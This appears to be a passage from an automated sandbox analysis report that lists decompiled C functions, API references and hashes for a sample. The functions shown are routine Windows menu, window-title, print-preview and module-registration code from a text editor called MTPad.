SetMenuItemInfoA.USER32(?,?,00000000,0000002C), ref: 00805362

Strings

,, xrefs: 00805306
Z, xrefs: 00805286
,, xrefs: 0080528F

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: ItemMenu_memset$Info$DefaultVersion
String ID: ,$,$Z
API String ID: 3121610409-2789403577
Opcode ID: 87653e6cf9aef670de00631c0cf9d622df209adf92baa20d54b8c9aa4551fdc5
Instruction ID: a9761af45ac85ba4a462c531686d81dbfcecca94dc59a545ee8878b9b91f70ef
Opcode Fuzzy Hash: 87653e6cf9aef670de00631c0cf9d622df209adf92baa20d54b8c9aa4551fdc5
Instruction Fuzzy Hash: 4D51CF71A002189BEB74CF14DC45BEAB7B8FF45700F1480A9E989E62C1D7B09AC4CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0080D0D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0080D0D0(struct HWND__* __esi, struct HWND__* _a4, intOrPtr _a8) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				void* _v24;
				struct HWND__* _v28;
				intOrPtr _v40;
				intOrPtr _v56;
				int _v64;
				intOrPtr _v68;
				int _v72;
				struct HWND__* _v76;
				int _v88;
				signed int _v100;
				char _v104;
				void* _v108;
				void* __ebx;
				void* __edi;
				signed int _t43;
				int _t53;
				int _t66;
				void* _t81;
				struct HWND__* _t82;
				signed int _t83;

				_t82 = __esi;
				_t43 =  *0x869060; // 0xda7e2511
				_v8 = _t43 ^ _t83;
				_t81 = SendMessageA;
				_v28 = _a4;
				_t66 = SendMessageA(__esi, 0x418, 0, 0);
				_v108 = 0x50;
				E00816820( &_v104, 0, 0x4c);
				_v104 = 0x371;
				_v100 = 4;
				if(_t66 > 0) {
					_v100 = 0x204;
				}
				if(_a8 != 0) {
					_v100 = _v100 | 0x00000001;
				}
				_v88 = 0;
				_v76 = _t82;
				_v56 = SendMessageA(_v28, 0x40c, 0, 0) + 0xeb00;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				if(_t66 <= 0) {
					GetWindowRect(_t82,  &_v24);
					_t53 = _v16 - _v24;
					_v64 = _t53;
					_v72 = 0;
					_v68 = _v12 - _v20;
				} else {
					SendMessageA(_t82, 0x41d, _t66,  &_v24);
					_v64 = _v16;
					_v68 = _v12 - _v20;
					SendMessageA(_t82, 0x41d, 0,  &_v24);
					_t53 = _v64;
					_v72 = _v16;
				}
				_v40 = _t53;
				if(SendMessageA(_v28, 0x401, 0xffffffff,  &_v108) != 0) {
					SendMessageA(_t82, 0x454, 0, SendMessageA(_t82, 0x455, 0, 0) | 0x00000010);
					return E008159E6(1, _t66, _v8 ^ _t83,  &_v108, _t81, _t82);
				} else {
					return E008159E6(_t55, _t66, _v8 ^ _t83,  &_v108, _t81, _t82);
				}
			}

0x0080d0d0
0x0080d0d6
0x0080d0dd
0x0080d0e5
0x0080d0f5
0x0080d102
0x0080d104
0x0080d10b
0x0080d113
0x0080d11a
0x0080d123
0x0080d125
0x0080d125
0x0080d130
0x0080d132
0x0080d132
0x0080d143
0x0080d14a
0x0080d154
0x0080d159
0x0080d15c
0x0080d15f
0x0080d162
0x0080d167
0x0080d1a4
0x0080d1ad
0x0080d1b6
0x0080d1b9
0x0080d1c0
0x0080d169
0x0080d175
0x0080d18c
0x0080d18f
0x0080d192
0x0080d197
0x0080d19a
0x0080d19a
0x0080d1c9
0x0080d1d9
0x0080d203
0x0080d219
0x0080d1dd
0x0080d1ea
0x0080d1ea

APIs

SendMessageA.USER32 ref: 0080D0F8
_memset.LIBCMT ref: 0080D10B
SendMessageA.USER32 ref: 0080D14D
SendMessageA.USER32 ref: 0080D175
SendMessageA.USER32 ref: 0080D192
GetWindowRect.USER32 ref: 0080D1A4
SendMessageA.USER32 ref: 0080D1D5
SendMessageA.USER32 ref: 0080D1F5
SendMessageA.USER32 ref: 0080D203

Strings

P, xrefs: 0080D104

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageSend$RectWindow_memset
String ID: P
API String ID: 1972968356-3110715001
Opcode ID: a3f98a3802122371b70548c47017c2d2099b5a7703288af37a2f40196ddb7320
Instruction ID: 44af53a6aca2628c08afc8c90be6973543915358d1352631bcb838a645fa8da5
Opcode Fuzzy Hash: a3f98a3802122371b70548c47017c2d2099b5a7703288af37a2f40196ddb7320
Instruction Fuzzy Hash: 4D41FAB1E0030CABEB10DFA8DD85BEEBBB9EF44704F104119E605BB291DBB46A45CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0080E95B Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0080E95B(void* __esi) {
				void* __ebx;
				intOrPtr* _t52;
				CHAR* _t53;
				intOrPtr _t57;
				int _t58;
				void* _t59;
				char _t65;
				struct HMENU__* _t68;
				void* _t69;
				signed short _t70;
				void* _t72;
				void* _t73;
				signed int _t74;
				void* _t76;

				_t72 = __esi;
				do {
					_t68 =  *(_t74 - 0x15c);
					E00816820(_t74 - 0x190, 0, 0x30);
					 *(_t74 - 0x190) = 0x30;
					E00816820(_t74 - 0x13c, 0, 0x90);
					_t76 = _t76 + 0x18;
					_t67 = _t74 - 0x140;
					 *(_t74 - 0x140) = 0x94;
					if(GetVersionExA(_t74 - 0x140) == 0) {
						L6:
						 *(_t74 - 0x190) = 0x2c;
					} else {
						_t57 =  *((intOrPtr*)(_t74 - 0x13c));
						if(_t57 < 5 && (_t57 != 4 ||  *((intOrPtr*)(_t74 - 0x138)) < 0x5a)) {
							goto L6;
						}
					}
					 *((intOrPtr*)(_t74 - 0x168)) = 0x64;
					 *((intOrPtr*)(_t74 - 0x18c)) = 0x3f;
					 *((intOrPtr*)(_t74 - 0x16c)) = _t74 - 0x70;
					if(GetMenuItemInfoA(_t68, _t58, 1, _t74 - 0x190) == 0 || ( *(_t74 - 0x188) & 0x00000800) != 0) {
						goto L20;
					} else {
						_t52 =  *((intOrPtr*)(_t74 - 0x170));
						if(_t52 == 0 ||  *_t52 != 0x1313) {
							goto L20;
						} else {
							_t53 =  *(_t52 + 4);
							if(_t53 == 0) {
								goto L20;
							} else {
								_t65 =  *_t53;
								if(_t65 == 0) {
									goto L20;
								} else {
									while(_t65 != 0x26) {
										_t53 = CharNextA(_t53);
										_t65 =  *_t53;
										if(_t65 != 0) {
											continue;
										} else {
											goto L20;
										}
										goto L23;
									}
									if( *_t53 == 0) {
										goto L20;
									} else {
										_t67 = _t53[1];
										 *((intOrPtr*)(_t74 - 0x160)) = CharLowerA( *(_t74 + 8) & 0x0000ffff);
										if(CharLowerA(_t53[1] & 0x0000ffff) !=  *((intOrPtr*)(_t74 - 0x160))) {
											goto L20;
										} else {
											if( *((char*)(_t74 - 0x141)) != 0) {
												 *(_t74 - 0x148) = 3;
											} else {
												_t67 = _t58 & 0x0000ffff;
												 *(_t74 - 0x150) = _t58 & 0x0000ffff;
												 *((char*)(_t74 - 0x141)) = 1;
												goto L20;
											}
										}
									}
								}
							}
						}
					}
					L23:
					if( *((char*)(_t74 - 0x141)) != 0) {
						_t70 =  *(_t74 - 0x148);
						if(_t70 == 2) {
							PostMessageA( *(_t72 + 4), 0x448, 0xffffffff, 0);
							E00811570(_t72, _t70);
						}
						_t67 =  *(_t74 - 0x150) & 0x0000ffff;
						 *( *(_t74 - 0x158)) = 1;
						 *(_t74 - 0x14c) = (_t70 & 0x0000ffff) << 0x00000010 |  *(_t74 - 0x150) & 0x0000ffff;
					}
					_pop(_t69);
					_pop(_t73);
					_pop(_t59);
					return E008159E6( *(_t74 - 0x14c), _t59,  *(_t74 - 4) ^ _t74, _t67, _t69, _t73);
					L20:
					_t58 = _t58 + 1;
				} while (_t58 <  *((intOrPtr*)(_t74 - 0x154)));
				goto L23;
			}

0x0080e95b
0x0080e960
0x0080e960
0x0080e971
0x0080e987
0x0080e991
0x0080e996
0x0080e999
0x0080e9a0
0x0080e9b2
0x0080e9cd
0x0080e9cd
0x0080e9b4
0x0080e9b4
0x0080e9bd
0x00000000
0x00000000
0x0080e9bd
0x0080e9e5
0x0080e9ef
0x0080e9f9
0x0080ea07
0x00000000
0x0080ea19
0x0080ea19
0x0080ea21
0x00000000
0x0080ea2b
0x0080ea2b
0x0080ea30
0x00000000
0x0080ea32
0x0080ea32
0x0080ea36
0x00000000
0x0080ea38
0x0080ea38
0x0080ea3e
0x0080ea44
0x0080ea48
0x00000000
0x0080ea4a
0x00000000
0x0080ea4a
0x00000000
0x0080ea48
0x0080ea4f
0x00000000
0x0080ea51
0x0080ea51
0x0080ea67
0x0080ea79
0x00000000
0x0080ea7b
0x0080ea82
0x0080eaa3
0x0080ea84
0x0080ea84
0x0080ea87
0x0080ea8d
0x00000000
0x0080ea8d
0x0080ea82
0x0080ea79
0x0080ea4f
0x0080ea36
0x0080ea30
0x0080ea21
0x0080eaad
0x0080eab4
0x0080eaba
0x0080eac3
0x0080ead2
0x0080eada
0x0080eada
0x0080eadf
0x0080eaf4
0x0080eafa
0x0080eafa
0x0080ec83
0x0080ec84
0x0080ec87
0x0080ec90
0x0080ea94
0x0080ea94
0x0080ea95
0x00000000

APIs

_memset.LIBCMT ref: 0080E971
_memset.LIBCMT ref: 0080E991
GetVersionExA.KERNEL32(?,?,?,?,?,?,?), ref: 0080E9AA
GetMenuItemInfoA.USER32 ref: 0080E9FF
CharNextA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0080EA3E
CharLowerA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0080EA60
CharLowerA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0080EA6D
PostMessageA.USER32 ref: 0080EAD2
SendMessageA.USER32 ref: 0080EB31
PostMessageA.USER32 ref: 0080EB45
IsWindowEnabled.USER32(?), ref: 0080EB79
GetClientRect.USER32 ref: 0080EBAE
SendMessageA.USER32 ref: 0080EBD6
SendMessageA.USER32 ref: 0080EC0F
PostMessageA.USER32 ref: 0080EC58
SendMessageA.USER32 ref: 0080EC6F
MessageBeep.USER32(00000000), ref: 0080EC74

Strings

,, xrefs: 0080E9CD
d, xrefs: 0080E9E5
?, xrefs: 0080E9EF
Z, xrefs: 0080E9C4

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Message$Send$CharPost$Lower_memset$BeepClientEnabledInfoItemMenuNextRectVersionWindow
String ID: ,$?$Z$d
API String ID: 735944419-3748737801
Opcode ID: 44a6a42f2c7c569f25cda2fa2febded14606262745d2d6e7befc1037105dabc5
Instruction ID: b449dafe94241c0c9f5dd7467a63ef6ad1c173ce6606c9268e8fc7d70b7b2270
Opcode Fuzzy Hash: 44a6a42f2c7c569f25cda2fa2febded14606262745d2d6e7befc1037105dabc5
Instruction Fuzzy Hash: 21319A70A002289BEBB0CB24CC89BEABBB5FF19714F1448D9E149E62D1D7719E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 008093A0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 125
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E008093A0(struct HWND__* __edx, intOrPtr __edi, void* __eflags) {
				signed int _v8;
				struct tagRECT _v24;
				struct HWND__* _v28;
				void* __ebx;
				void* __esi;
				signed int _t36;
				intOrPtr _t39;
				void* _t62;
				intOrPtr _t66;
				intOrPtr _t79;
				void* _t85;
				intOrPtr _t86;
				signed int _t91;

				_t84 = __edi;
				_t78 = __edx;
				_t36 =  *0x869060; // 0xda7e2511
				_v8 = _t36 ^ _t91;
				if(E00808E40(__edx, __edi) != 0) {
					__eflags = __edi;
					if(__edi == 0) {
						_t86 = 0;
						__eflags = 0;
					} else {
						_t86 = __edi + 0x34;
					}
					_t39 =  *((intOrPtr*)(_t84 + 0x530));
					_t66 =  *((intOrPtr*)(_t84 + 0x4b8));
					_t79 =  *((intOrPtr*)(_t84 + 0x4c0));
					__eflags =  *((intOrPtr*)(_t84 + 0x4ec));
					if( *((intOrPtr*)(_t84 + 0x4ec)) != 0) {
						 *((intOrPtr*)(_t84 + 0x4ec)) = 0;
					}
					 *((intOrPtr*)(_t84 + 0x4ec)) = _t66;
					 *((intOrPtr*)(_t84 + 0x4e8)) = _t86;
					 *((intOrPtr*)(_t84 + 0x4f4)) = _t79;
					 *((intOrPtr*)(_t84 + 0x504)) = 0;
					 *((intOrPtr*)(_t84 + 0x4f8)) = 0;
					 *((intOrPtr*)(_t84 + 0x508)) = 0;
					 *((intOrPtr*)(_t84 + 0x50c)) = _t39 - 1;
					E008066C0(0, _t84 + 0x4e8);
					GetClientRect( *(_t84 + 4),  &_v24);
					_v28 =  *(_t84 + 4);
					__eflags =  *0x86add0; // 0x0
					if(__eflags == 0) {
						 *0x86add0 = 0;
					}
					E00813ED0(_t84 + 0x4c4, E00813FF0(0x86ada0, 0x880c04, _t84 + 0x4e4) & 0x0000ffff, _v28,  &_v24, 0, 0x56000000, 0, 0);
					ShowWindow( *(_t84 + 0x4c8), 5);
					SetWindowPos( *(_t84 + 0x4c8), 0, 0, 0, 0, 0, 0x43);
					ShowWindow( *(_t84 + 0x2c), 0);
					 *(_t84 + 0x524) =  *(_t84 + 0x2c);
					 *(_t84 + 0x2c) =  *(_t84 + 0x4c8);
					SendMessageA( *(_t84 + 0x24), 0x423, 1, 0);
					SendMessageA( *(_t84 + 0x24), 0x423, 2, 1);
					E0080A7D0(E00813FF0(0x86ada0, 0x880c04, _t84 + 0x4e4) & 0x0000ffff, _t84, __eflags, 1);
					__eflags = 0;
					return E008159E6(0, E00813FF0(0x86ada0, 0x880c04, _t84 + 0x4e4) & 0x0000ffff, _v8 ^ _t91,  *(_t84 + 0x4c8), _t84, SendMessageA);
				} else {
					MessageBoxA( *(__edi + 4), "Print preview operation failed", "MTPad", 0x10);
					return E008159E6(0, _t62, _v8 ^ _t91, _t78, __edi, _t85);
				}
			}

0x008093a0
0x008093a0
0x008093a6
0x008093ad
0x008093ba
0x008093e6
0x008093e8
0x008093ef
0x008093ef
0x008093ea
0x008093ea
0x008093ea
0x008093f1
0x008093f7
0x008093fd
0x00809403
0x00809409
0x0080940b
0x0080940b
0x00809411
0x00809417
0x0080941d
0x00809423
0x00809429
0x00809438
0x0080943e
0x00809444
0x00809451
0x0080945c
0x0080945f
0x00809465
0x00809467
0x00809467
0x008094a1
0x008094b5
0x008094ca
0x008094d6
0x008094f4
0x008094fa
0x008094fd
0x0080950c
0x00809512
0x0080951d
0x00809528
0x008093bc
0x008093cc
0x008093e3
0x008093e3

APIs

MessageBoxA.USER32 ref: 008093CC
GetClientRect.USER32 ref: 00809451
ShowWindow.USER32(?,00000005,?,?,00000000,56000000,00000000,00000000,?,?), ref: 008094B5
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000043,?,?), ref: 008094CA
ShowWindow.USER32(?,00000000,?,?), ref: 008094D6
SendMessageA.USER32 ref: 008094FD
SendMessageA.USER32 ref: 0080950C

Strings

MTPad, xrefs: 008093C1
Print preview operation failed, xrefs: 008093C6

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageWindow$SendShow$ClientRect
String ID: MTPad$Print preview operation failed
API String ID: 3447962482-1460434131
Opcode ID: 305c9169e574a0970c510e22cbce4e294b7c954129833bb0274dd8015008dd4a
Instruction ID: 1fa7a79ab48589ffb8df022b1dc0bb6194f30ff51fb60a1b56b50260cc21c045
Opcode Fuzzy Hash: 305c9169e574a0970c510e22cbce4e294b7c954129833bb0274dd8015008dd4a
Instruction Fuzzy Hash: 62415FB1B00A06BBD758DF64DC85FAAF7A9FB48701F00421AE61997281DB70B950CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00808160 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 57
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00808160(void* __edi) {
				signed int _v8;
				char _v264;
				int _v268;
				void* _v276;
				void* __ebx;
				void* __esi;
				signed int _t14;
				CHAR* _t30;
				void* _t31;
				void* _t38;
				CHAR* _t40;
				signed int _t41;
				CHAR* _t42;

				_t38 = __edi;
				_t14 =  *0x869060; // 0xda7e2511
				_v8 = _t14 ^ _t41;
				_t30 = __edi + 0x3ac;
				_v268 = lstrlenA(_t30);
				LoadStringA( *0x880c0c, 0x80,  &_v264, 0xff);
				E0081ACA0(lstrlenA( &_v264) + _v268 + 5);
				_t40 = _t42;
				lstrcpyA(_t40, _t30);
				_t31 = lstrcatA;
				if( *((intOrPtr*)(__edi + 0x4b4)) != 0) {
					lstrcatA(_t40, "*");
				}
				lstrcatA(_t40, " - ");
				lstrcatA(_t40,  &_v264);
				SetWindowTextA( *(_t38 + 4), _t40);
				return E008159E6(0, _t31, _v8 ^ _t41,  &_v264, _t38, _t40);
			}

0x00808160
0x00808169
0x00808170
0x0080817b
0x0080818f
0x008081a2
0x008081bb
0x008081c0
0x008081c4
0x008081d1
0x008081d7
0x008081df
0x008081df
0x008081e7
0x008081f1
0x008081f8
0x00808215

APIs

lstrlenA.KERNEL32(?,?,?), ref: 00808182
LoadStringA.USER32 ref: 008081A2
lstrlenA.KERNEL32(?,?,?), ref: 008081AF
lstrcpyA.KERNEL32(?,?,?,?), ref: 008081C4
lstrcatA.KERNEL32(?,00822A2C), ref: 008081DF
lstrcatA.KERNEL32(?, - ), ref: 008081E7
lstrcatA.KERNEL32(?,?,?, - ), ref: 008081F1
SetWindowTextA.USER32(?), ref: 008081F8

Strings

- , xrefs: 008081E1

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: lstrcat$lstrlen$LoadStringTextWindowlstrcpy
String ID: -
API String ID: 730805527-3695764949
Opcode ID: c405132fdbb59caa4718fb73d292f8785f79a89bb25a780743c6d25a590b2c78
Instruction ID: aa831d02fe2aea5f6aa54211b0a6ce182ca482955e861c875ea3e63ed87fb0bd
Opcode Fuzzy Hash: c405132fdbb59caa4718fb73d292f8785f79a89bb25a780743c6d25a590b2c78
Instruction Fuzzy Hash: FE118C71A0022CABC721EB64DC85EEAB7BCFF48304F004196E54997142DBB46E858FE5

Uniqueness

Uniqueness Score: -1.00%

Function 00804380 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 224
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00804380(unsigned int __ecx, unsigned int __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v268;
				char _v1314;
				short _v1316;
				char _v2356;
				unsigned int _v2360;
				char _v2364;
				char _v2368;
				CHAR* _v2372;
				CHAR* _v2376;
				CHAR* _v2380;
				CHAR* _v2384;
				CHAR* _v2388;
				struct _CRITICAL_SECTION _v2392;
				CHAR* _v2396;
				CHAR* _v2400;
				CHAR* _v2404;
				char _v2408;
				struct HINSTANCE__* _v2412;
				void* _v2424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t70;
				void* _t75;
				unsigned int _t78;
				struct HINSTANCE__* _t80;
				long _t81;
				int _t82;
				void* _t84;
				unsigned int _t90;
				signed int _t95;
				unsigned int _t97;
				unsigned int _t99;
				unsigned int _t103;
				void* _t110;
				signed int _t118;
				unsigned int _t145;
				void* _t148;
				struct HINSTANCE__* _t149;
				signed int _t151;
				void* _t152;
				void* _t154;

				_t140 = __edx;
				_t70 =  *0x869060; // 0xda7e2511
				_v8 = _t70 ^ _t151;
				_v2392 = 0;
				_v2388 = 0;
				_v2384 = 0;
				_v2380 = 0;
				_v2376 = 0;
				_v2372 = 0;
				_t144 = __ecx;
				_v2360 = __ecx;
				_t146 = __edx;
				_v2408 = 0x822cf0;
				_v2404 = 0;
				_v2400 = 0;
				_v2396 = 0;
				_v2368 = 0;
				if(InitializeCriticalSectionAndSpinCount( &_v2392, 0) != 0) {
					L5:
					_v2368 = 1;
					if(_t146 != 0) {
						_t116 =  *_t146;
						if( *_t146 != 0) {
							do {
								E00802050( *((intOrPtr*)(_t146 + 4)),  &_v2408,  &_v2408, _t116,  *((intOrPtr*)(_t146 + 4)));
								_t116 =  *(_t146 + 8);
								_t146 = _t146 + 8;
							} while (_t116 != 0);
						}
					}
					_t75 =  *_t144;
					_t140 =  *(_t75 + 0x14);
					_t146 =  *( *(_t75 + 0x14))( &_v2408);
					if(_t146 < 0) {
						L11:
						E00801F50();
						_t78 = _t146;
					} else {
						_t80 =  *0x880c08;
						_v2364 = 0;
						_v2412 = _t80;
						_t81 = GetModuleFileNameA(_t80,  &_v268, 0x104);
						if(_t81 != 0) {
							if(_t81 != 0x104) {
								_t140 =  &_v268;
								_t82 = lstrlenA( &_v268);
								_t128 =  &_v2360;
								_v2360 = _t82 + 1;
								_t84 = E00801000(_t82 + 1,  &_v268,  &_v2360);
								_t154 = _t152 + 4;
								if(_t84 < 0) {
									L20:
									_t146 =  &_v2364;
									E0080A200( &_v2364);
									E00801F50();
									_t78 = 0x8007000e;
								} else {
									_t145 = _v2360;
									if(_t145 > 0x400) {
										L18:
										_t148 = E0080A1D0(_t145, _t128, _t145,  &_v2364);
									} else {
										_t110 = E00801030( &_v2360,  &_v268, _t145);
										_t154 = _t154 + 4;
										if(_t110 == 0) {
											goto L18;
										} else {
											E0081ACA0(_t145);
											_t148 = _t154;
										}
									}
									_t140 = _t145 >> 1;
									_t90 = E008010E0( &_v268, _t145 >> 1, _t148, 3);
									_t144 = _t90;
									if(_t90 != 0) {
										_t130 =  &_v2356;
										E00801620(_t144,  &_v2356, 0x208);
										_t149 = _v2412;
										if(_t149 == 0 || _t149 == GetModuleHandleA(0)) {
											_t140 =  &_v1314;
											_v1316 = 0x22;
											if(E00801140( &_v2356,  &_v1314) != 0) {
												_t95 = lstrlenW( &_v1316);
												_t140 = 0;
												 *((short*)(_t151 + _t95 * 2 - 0x520)) = 0x22;
												 *((short*)(_t151 + _t95 * 2 - 0x51e)) = 0;
												_push( &_v1316);
												_push(L"Module");
												_t130 =  &_v2408;
												_push( &_v2408);
												goto L27;
											} else {
												_t146 =  &_v2364;
												E0080A200( &_v2364);
												E00801F50();
												_t78 = 0x80004005;
											}
										} else {
											_t140 =  &_v2356;
											_push( &_v2356);
											_push(L"Module");
											_push( &_v2408);
											L27:
											_t97 = E00802050(_t130, _t140);
											_v2360 = _t97;
											if(_t97 >= 0) {
												_t140 =  &_v2356;
												_t99 = E00802050(_t130,  &_v2356,  &_v2408, L"Module_Raw",  &_v2356);
												_v2360 = _t99;
												if(_t99 < 0) {
													goto L28;
												} else {
													if(_a8 == 0) {
														_t103 = E008027A0( &_v2408,  &_v2356,  &_v2408, _t144, _a4);
													} else {
														_t140 =  &_v2408;
														_t103 = E008024C0(_a4,  &_v2408,  &_v2408, _t144, _a4);
													}
													_t146 =  &_v2364;
													_t144 = _t103;
													E0080A200( &_v2364);
													goto L34;
												}
											} else {
												L28:
												_t146 =  &_v2364;
												E0080A200( &_v2364);
												E00801F50();
												_t78 = _v2360;
											}
										}
									} else {
										goto L20;
									}
								}
							} else {
								_t146 =  &_v2364;
								E0080A200( &_v2364);
								E00801F50();
								_t78 = 0x8007007a;
							}
						} else {
							_t146 = E008013E0();
							goto L11;
						}
					}
				} else {
					_t118 = GetLastError();
					if(_t118 > 0) {
						_t118 = _t118 & 0x0000ffff | 0x80070000;
					}
					_t144 = _t118;
					if(_t144 < 0) {
						L34:
						E00801F50();
						_t78 = _t144;
					} else {
						_t144 = _v2360;
						goto L5;
					}
				}
				return E008159E6(_t78, 0, _v8 ^ _t151, _t140, _t144, _t146);
			}

0x00804380
0x00804389
0x00804390
0x0080439a
0x008043a0
0x008043a6
0x008043ac
0x008043b2
0x008043b8
0x008043c5
0x008043c8
0x008043ce
0x008043d0
0x008043da
0x008043e0
0x008043e6
0x008043ec
0x008043fa
0x00804420
0x00804420
0x00804429
0x0080442b
0x0080442f
0x00804431
0x0080443d
0x00804442
0x00804445
0x00804448
0x00804431
0x0080442f
0x0080444c
0x0080444e
0x0080445c
0x00804460
0x00804491
0x00804497
0x0080449c
0x00804462
0x00804462
0x00804474
0x0080447a
0x00804480
0x00804488
0x008044a8
0x008044ca
0x008044d1
0x008044d7
0x008044df
0x008044e5
0x008044ea
0x008044ef
0x0080453d
0x0080453d
0x00804543
0x0080454e
0x00804553
0x008044f1
0x008044f1
0x008044fd
0x00804517
0x00804524
0x008044ff
0x00804500
0x00804505
0x0080450a
0x00000000
0x0080450c
0x0080450e
0x00804513
0x00804513
0x0080450a
0x0080452a
0x00804532
0x00804537
0x0080453b
0x00804564
0x0080456a
0x0080456f
0x00804577
0x00804599
0x008045ab
0x008045bc
0x008045e5
0x008045f0
0x008045f2
0x008045fa
0x00804608
0x00804609
0x0080460e
0x00804614
0x00000000
0x008045be
0x008045be
0x008045c4
0x008045cf
0x008045d4
0x008045d4
0x00804584
0x00804584
0x0080458a
0x0080458b
0x00804596
0x00804615
0x00804615
0x0080461a
0x00804622
0x00804642
0x00804655
0x0080465a
0x00804662
0x00000000
0x00804664
0x00804667
0x00804688
0x00804669
0x0080466e
0x00804675
0x00804675
0x0080468d
0x00804693
0x00804695
0x00000000
0x00804695
0x00804624
0x00804624
0x00804624
0x0080462a
0x00804635
0x0080463a
0x0080463a
0x00804622
0x00000000
0x00000000
0x00000000
0x0080453b
0x008044aa
0x008044aa
0x008044b0
0x008044bb
0x008044c0
0x008044c0
0x0080448a
0x0080448f
0x00000000
0x0080448f
0x00804488
0x008043fc
0x008043fc
0x00804404
